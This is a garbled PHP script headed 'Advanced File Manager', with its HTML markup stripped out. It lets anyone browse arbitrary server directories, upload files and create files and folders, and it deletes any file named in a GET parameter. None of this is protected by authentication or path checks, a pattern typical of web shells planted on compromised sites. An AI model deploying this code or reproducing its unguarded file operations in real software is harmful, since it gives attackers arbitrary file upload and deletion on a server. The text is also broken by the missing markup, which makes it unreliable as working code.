Advanced File Manager

$part"; } } echo ""; // Handle directory change if (isset($_POST['changeDir'])) { $newDir = $_POST['newDir']; if (is_dir($newDir)) { $currentDir = realpath($newDir); } else { echo "

Directory does not exist.

"; } } // Handle file upload if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; if ($file['error'] === UPLOAD_ERR_OK) { $fileName = basename($file['name']); $fileTmpPath = $file['tmp_name']; $dest_path = $currentDir . '/' . $fileName; if (move_uploaded_file($fileTmpPath, $dest_path)) { echo "

File uploaded successfully to $currentDir.

"; } else { echo "

Error moving the uploaded file.

"; } } else { echo "

Error: No file selected or upload failed.

"; } } // Handle file deletion if (isset($_GET['delete'])) { $fileToDelete = $_GET['delete']; if (is_file($fileToDelete)) { unlink($fileToDelete); echo "

File deleted: $fileToDelete

"; } } // Handle directory creation if (isset($_POST['createDir'])) { $newDir = $_POST['newDirName']; $newDirPath = $currentDir . DIRECTORY_SEPARATOR . $newDir; if (!is_dir($newDirPath)) { mkdir($newDirPath); echo "

Directory created: $newDir

"; } else { echo "

Directory already exists.

"; } } // Handle file creation if (isset($_POST['createFile'])) { $newFile = $_POST['newFileName']; $newFilePath = $currentDir . DIRECTORY_SEPARATOR . $newFile; if (!file_exists($newFilePath)) { file_put_contents($newFilePath, ''); // Create an empty file echo "

File created: $newFile

"; } else { echo "

File already exists.

"; } } echo "

Current Directory: $currentDir

"; // Display directory management forms echo '
'; // Change directory form echo '
'; echo ''; echo ''; echo '
'; // Create new directory form echo '
'; echo ''; echo ''; echo '
'; // Create new file form echo '
'; echo ''; echo ''; echo '
'; // File upload form echo '
'; echo ''; echo ''; echo '
'; echo '
'; echo "

Files and Directories in $currentDir:

"; // List directories first, then files $files = scandir($currentDir); echo ''; echo ''; // List directories foreach ($files as $file) { if ($file !== "." && $file !== ".." && is_dir($currentDir . '/' . $file)) { $filePath = $currentDir . '/' . $file; echo ""; echo ""; } } // List files foreach ($files as $file) { if ($file !== "." && $file !== ".." && is_file($currentDir . '/' . $file)) { $filePath = $currentDir . '/' . $file; echo ""; echo ""; } } echo '
File/Directory NameAction
📁$file
📄$file
'; ?>